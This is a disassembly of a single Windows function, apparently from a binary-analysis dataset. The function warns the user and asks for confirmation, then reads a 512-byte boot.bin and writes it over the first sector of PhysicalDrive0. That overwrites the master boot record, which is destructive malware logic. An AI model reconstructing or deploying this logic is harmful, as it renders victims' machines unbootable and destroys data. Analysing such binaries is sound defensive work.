Function at 0x401530
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x98
mov dword [ebp - 0x64], sym.___gxx_personality_sj0
mov dword [ebp - 0x60], 0x4cb3e0
lea eax, [ebp - 0x5c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x401827
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
call dbg.__main
lea eax, [ebp - 0x29]
mov ecx, eax
call fcn.004729b0
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x29]
mov dword [esp + 4], edx
mov dword [esp], 0x4d0001
mov dword [ebp - 0x78], 1
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x29]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov dword [esp + 4], str.This_program_is_dangerous__Are_you_sure_that_you_want_to_run_this__n
mov dword [esp], 0x4cf7a0
mov dword [ebp - 0x78], 2
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 4], str.Please_type_yes_or_type_no_n_
mov dword [esp], 0x4cf7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea eax, [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0x4cf5c0
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_
mov dword [esp + 4], 0x4d0069
lea eax, [ebp - 0x44]
mov dword [esp], eax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x40161f
mov dword [esp], str.Exiting_program...
call sym.printf_char_const__..._
mov dword [ebp - 0x80], 0xffffffff
jmp 0x401815
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x78], 2
call eax
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x401688
mov dword [esp], str.Error_opening_a_handle_to_the_drive.
call sym.printf_char_const__..._
mov dword [ebp - 0x80], 0xffffffff
jmp 0x401815
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], str.._boot.bin
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x78], 2
call eax
sub esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4016f1
mov dword [esp], str.Error_opening_a_handle_to_boot.bin
call sym.printf_char_const__..._
mov dword [ebp - 0x80], 0xffffffff
jmp 0x401815
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x78], 2
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x200
je 0x401734
mov dword [esp], str.Error_opening_a_handle_to_boot.bin
call sym.printf_char_const__..._
mov dword [ebp - 0x80], 0xffffffff
jmp 0x401815
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov dword [ebp - 0x78], 2
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x28], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x48]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
test eax, eax
setne al
test al, al
je 0x4017c3
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x48]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
setne al
test al, al
je 0x4017e2
mov dword [esp], str.First_sector_overritten_successfuly__n
call sym.printf_char_const__..._
jmp 0x4017e2
mov dword [esp], str.Error_reading_boot.bin_n
mov dword [ebp - 0x78], 2
call sym.printf_char_const__..._
mov dword [esp], str.Make_sure_to_compile_the_ASM_file_with_nasm__f_bin__o_boot.bin_boot.asm
call sym.printf_char_const__..._
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x78], 2
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
call sym._getchar
mov dword [ebp - 0x80], 0
lea eax, [ebp - 0x44]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x80], eax
jmp 0x40187e
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x80]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret